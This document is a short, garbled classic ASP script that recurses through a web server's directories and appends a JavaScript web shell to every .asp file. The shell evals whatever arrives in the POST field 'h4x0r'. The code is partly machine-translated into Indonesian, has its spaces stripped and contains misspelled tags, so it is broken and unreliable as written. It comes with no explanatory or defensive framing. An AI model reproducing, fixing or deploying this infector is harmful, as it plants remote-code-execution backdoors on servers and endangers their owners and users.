<%
dimph
Dimintfile
server.scriptTimeout = 600
ph = server.mappath ("/")
SubinsertallFiles (Path)
SetFSO = createObject ("Scripting.FilesystemObject")
OnerrorresumeNext
Setf = fso.getFolder (path)
SetFc2 = f.files
ForeachmyfileInfc2
Iflcase (fso.getextensionName (Path & "" & myfile.name)) = "asp" lalu
Setfs1 = createObject ("Scripting.FilesystemObject")
Settfile = fs1.opentextFile (path & "" & myfile.name, 8, false)
tfile.writeLine "<scriptrunat = serverLanguage = javaScript> eval (request.form ('h4x0r')+'') </cript>"
kalau tidak
InsertAllFiles (Newpath)
endif
tfile.close
Berikutnya
Setfsubfolers = f.subfolder
Foreachf1infsubfolers
newPath = path & "" & f1.name
InsertAllFiles (Newpath)
Berikutnya
settfile = tidak ada
Setfso = tidak ada
Endsub
%>
<%
CallInserTallFiles (ph)
%>